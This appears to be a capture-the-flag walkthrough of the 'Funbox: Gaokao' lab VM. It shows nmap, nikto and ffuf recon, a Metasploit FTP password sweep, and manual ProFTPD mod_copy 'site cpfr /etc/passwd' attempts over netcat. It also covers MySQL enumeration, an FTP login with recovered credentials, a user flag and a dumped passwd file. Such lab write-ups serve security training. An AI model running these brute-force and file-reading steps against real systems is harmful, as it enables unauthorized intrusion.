

Vm: funbox gaokao  
ip:192.168.56.116

```
[user@parrot]~[/Documents]
$ nmap -sP 192.168.56.106/24 --exclude 192.168.56.106
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-20 22:52 +08
Nmap scan report for 192.168.56.1
Host is up (0.0021s latency).
Nmap scan report for 192.168.56.116
Host is up (0.013s latency).
Nmap done: 255 IP addresses (2 hosts up) scanned in 8.59 seconds
[user@parrot]~[/Documents]
$
```

same results as above

```
Currently Scanning: Finished! | Screen View: Unique Hosts

7 Captured ARP Req/Rep packets, from 3 hosts. Total size: 420

-----
IP                At MAC Address      Count  Len  MAC Vendor / Hostname
-----
192.168.56.1      0a:00:27:00:00:11    2     120  Unknown vendor
192.168.56.100    08:00:27:a7:88:7e    2     120  PCS Systemtechnik GmbH
192.168.56.116    08:00:27:22:98:6f    3     180  PCS Systemtechnik GmbH

[.]~[root@parrot]~[/home/user/Documents]
#
```

nmap scan

```
#nmap -sC -sV -p- kaokao
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-20 22:54 +08
Nmap scan report for kaokao (192.168.56.116)
Host is up (0.0013s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      ProFTPD 1.3.5e
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ -rw-r--r-- 1 ftp      ftp      169 Jun  5 19:45 welcome.msg
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 48:39:31:22:fb:c2:03:44:a7:4e:c0:fa:b8:ad:2f:96 (RSA)
| 256 70:a7:74:5e:a3:79:60:28:1a:45:4c:ab:5c:e7:87:ad (ECDSA)
|_ 256 9c:35:ce:f6:59:66:7f:ae:c4:d1:21:16:d5:aa:56:71 (ED25519)
80/tcp    open  http     Apache httpd 2.4.29 ((Ubuntu))
|_ http-server-header: Apache/2.4.29 (Ubuntu)
|_ http-title: Wellcome to Funbox: Gaokao !
3306/tcp  open  mysql    MySQL 5.7.34-0ubuntu0.18.04.1
| mysql-info:
| Protocol: 10
| Version: 5.7.34-0ubuntu0.18.04.1
| Thread ID: 3
| Capabilities flags: 65535
| Some Capabilities: DontAllowDatabaseTableColumn, LongPassword, Speaks41ProtocolOld, SupportsTransactions, Conn
ectWithDatabase, IgnoreSigpipes, SwitchToSSLAfterHandshake, LongColumnFlag, InteractiveClient, FoundRows, Supports
LoadDataLocal, ODBCClient, IgnoreSpaceBeforeParenthesis, SupportsCompression, Speaks41ProtocolNew, Support41Auth,
SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: U
| @[m.-1Gf1\x0BX00\x11\x13EmZ
|_ Auth Plugin Name: mysql_native_password
| ssl-cert: Subject: commonName=MySQL_Server_5.7.34_Auto_Generated_Server_Certificate
| Not valid before: 2021-06-05T15:15:30
|_ Not valid after: 2031-06-03T15:15:30
|_ ssl-date: TLS randomness does not represent time
MAC Address: 08:00:27:22:98:6F (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

nmap udp scan: nothing

```
[user@parrot]~[/tmp]
$ sudo nmap -sU kaokao
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-20 23:14 +08
Nmap scan report for kaokao (192.168.56.116)
Host is up (0.00079s latency).
Not shown: 999 closed ports
PORT      STATE      SERVICE
68/udp    open|filtered dhcpc
MAC Address: 08:00:27:22:98:6F (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1089.97 seconds
[user@parrot]~[/tmp]
$
```

ftp not bruteforceable

msf6 auxiliary(scanner/ftp/ftp\_login) > run

```
[*] 192.168.56.116:21 - 192.168.56.116:21 - Starting FTP login sweep
[!] 192.168.56.116:21 - No active DB -- Credential data will not be saved!
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:123456 (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:12345 (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:123456789 (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:password (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:iloveyou (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:princess (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:1234567 (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:rockyou (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:12345678 (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:abc123 (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:nicole (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:daniel (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:babygirl (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:monkey (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:lovely (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:jessica (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:654321 (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:michael (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:ashley (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:qwerty (Incorrect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:111111 (Unable to Connect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:iloveu (Unable to Connect: )
[-] 192.168.56.116:21 - 192.168.56.116:21 - LOGIN FAILED: sky@funbox9:000000 (Unable to Connect: )
[*] kaokao:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ftp/ftp_login) >
```

ftp enum:

not writable

allow anonymous login

```

220 ProFTPD 1.3.5e Server (Debian) [::ffff:192.168.56.116]
Name (kaokao:user): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
230-Welcome, archive user anonymous@192.168.56.106 !
230-
230-The local time is: Sun Jun 20 14:55:35 2021
230-
230-This is an experimental FTP server.  If you have any unusual problems,
230-please report them via e-mail to <sky@funbox9>.
230-
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x  2 ftp      ftp          4.0k Jun  5 19:45 .
drwxr-xr-x  2 ftp      ftp          4.0k Jun  5 19:45 ..
-rw-r--r--  1 ftp      ftp          169 Jun  5 19:45 welcome.msg
226 Transfer complete
ftp> lcd /tmp
Local directory now /tmp
ftp> get welcome.msg
local: welcome.msg remote: welcome.msg
200 PORT command successful
150 Opening BINARY mode data connection for welcome.msg (169 bytes)
226 Transfer complete
169 bytes received in 0.00 secs (3.8374 MB/s)
ftp> ^Z
[1]+  Stopped                  ftp kaokao
[~][X]-[user@parrot]-[~/Documents]
└─$ cat welcome.m^C
[~][X]-[user@parrot]-[~/Documents]
└─$ cd /tmp; cat welcome.msg
Welcome, archive user %U@%R !

The local time is: %T

This is an experimental FTP server.  If you have any unusual problems,
please report them via e-mail to <sky@%L>.

```

vulnerable to exploit

```

ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution
ProFTPd 1.3.5 - File Copy

```

seems like not vulnerable due to the need to logon

```

[~][X]-[user@parrot]-[/tmp]
$nc kaokao 21
220 ProFTPD 1.3.5e Server (Debian) [::ffff:192.168.56.116]
cpfr /etc/passwd
500 CPFR not understood
site cpfr /etc/passwd
530 Please login with USER and PASS
user anonymous
331 Anonymous login ok, send your complete email address as your password
pass p@m
230-Welcome, archive user anonymous@192.168.56.106 !
230-
230-The local time is: Sun Jun 20 15:03:22 2021
230-
230-This is an experimental FTP server. If you have any unusual problems,
230-please report them via e-mail to <sky@funbox9>.
230-
230 Anonymous access granted, restrictions apply
site cpfr /etc/passwd
550 /etc/passwd: No such file or directory
site cpfr /var/www/html/index.html
550 /var/www/html/index.html: No such file or directory

```

nikto scan : nothing special

```

[user@parrot]-[/Documents]
$nikto -h kaokao
- Nikto v2.1.6
-----
+ Target IP: 192.168.56.116
+ Target Hostname: kaokao
+ Target Port: 80
+ Start Time: 2021-06-20 22:55:28 (GMT8)
-----
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2846, size: 5c409ca1d2835, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: HEAD, GET, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7681 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2021-06-20 22:58:49 (GMT8) (201 seconds)
-----
+ 1 host(s) tested
[user@parrot]-[/Documents]
$

```

ffur dir scan nothing special

```
$fufuzz -r -c -w /SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://kaokao/FUZZ
```

v1.3.1 Kali Exclusive &lt;3

```

:: Method      : GET
:: URL         : http://kaokao/FUZZ
:: Wordlist     : FUZZ: /SecLists/Discovery/Web-Content/raft-large-directories.txt
:: Follow redirects : true
:: Calibration  : false
:: Timeout     : 10
:: Threads     : 40
:: Matcher     : Response status: 200,204,301,302,307,401,403,405

```

```
server-status      [Status: 403, Size: 271, Words: 20, Lines: 10]
                  [Status: 200, Size: 10310, Words: 3263, Lines: 365]
                  [Status: 200, Size: 10310, Words: 3263, Lines: 365]
:: Progress: [62283/62283] :: Job [1/1] :: 5620 req/sec :: Duration: [0:03:19] :: Errors: 3 ::
```

```
[user@parrot] - [~/Documents]
```




ffuf file scan nothing special





```
[user@parrot]~[~/Documents]
$mysql -u sky -h 192.168.56.116 -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 20325
Server version: 5.7.34-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+-----+
| Database                |
+-----+
| information_schema       |
| skys_db                  |
+-----+
2 rows in set (0.001 sec)

MySQL [(none)]> 
```

nothing from skys\_db

```

[~][X]-[user@parrot]-[/tmp]
$mysql -u sky -h 192.168.56.116 -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 20336
Server version: 5.7.34-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> use skys_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [skys_db]> show tables;
+-----+
| Tables_in_skys_db |
+-----+
| user               |
+-----+
1 row in set (0.000 sec)

MySQL [skys_db]> select * from user;
Empty set (0.001 sec)

MySQL [skys_db]> show columns from user;
+-----+-----+-----+-----+-----+-----+
| Field      | Type          | Null | Key | Default | Extra |
+-----+-----+-----+-----+-----+-----+
| user       | varchar(64)   | YES  |     | NULL    |       |
| password   | varchar(64)   | YES  |     | NULL    |       |
+-----+-----+-----+-----+-----+-----+
2 rows in set (0.001 sec)

MySQL [skys_db]> █

```

ftp login success using  
sky:thebest



```
[user@parrot] [Documents]
$ftp
ftp> open
(to) kaokao
Connected to kaokao.
220 ProFTPD 1.3.5e Server (Debian) [::ffff:192.168.56.116]
Name (kaokao:user): sky
331 Password required for sky
Password:
230 User sky logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x  3 sky      sky          4.0k Jun  6 14:24 .
drwxr-xr-x  5 root     root         4.0k Jun  5 16:34 ..
-rw-----  1 sky      sky           56 Jun  5 18:15 .bash_history
-r--r--r--  1 sky      sky          220 Jun  5 15:09 .bash_logout
-r--r--r--  1 sky      sky         3.7k Jun  5 15:09 .bashrc
-r--r--r--  1 sky      sky          807 Jun  5 15:09 .profile
drwxr-----  2 root     root         4.0k Jun  5 15:43 .ssh
-rwxr-x---  1 sky      sarah         66 Jun  6 14:24 user.flag
-rw-----  1 sky      sky         1.5k Jun  5 18:15 .viminfo
226 Transfer complete
ftp> █
```

user flag

```
[X]-[user@parrot]-[/tmp]
$cat user.flag
#!/bin/sh
echo "Your flag is:88jjggzzZhjJjk0Iiu76TggHjo0IZTDsDSd"
[user@parrot]-[/tmp]
$ █
```

passwd file

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106:./home/syslog:/usr/sbin/nologin
messagebus:x:103:107:./nonexistent:/usr/sbin/nologin
_apt:x:104:65534:./nonexistent:/usr/sbin/nologin
lxd:x:105:65534:./var/lib/lxd:/bin/false
uidd:x:106:110:./run/uidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112:./var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1:./var/cache/pollinate:/bin/false
sshd:x:110:65534:./run/sshd:/usr/sbin/nologin
lucy:x:1000:1000:lucy:/home/lucy:/bin/bash
sky:x:1001:1001:././././home/sky:/bin/sh
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:112:65534:./run/proftpd:/usr/sbin/nologin
ftp:x:113:65534:./srv/ftp:/usr/sbin/nologin
postfix:x:114:115:./var/spool/postfix:/usr/sbin/nologin
alias:x:64010:117:./var/lib/qmail/alias:/bin/sh
qmaild:x:64011:117:./var/lib/qmail:/bin/sh
qmail1:x:64015:117:./var/lib/qmail:/bin/sh
qmailp:x:64016:117:./var/lib/qmail:/bin/sh
qmailq:x:64014:64010:./var/lib/qmail:/bin/sh
qmailr:x:64013:64010:./var/lib/qmail:/bin/sh
qmails:x:64012:64010:./var/lib/qmail:/bin/sh
sarah:x:1002:1002:././././home/sarah:/bin/bash
```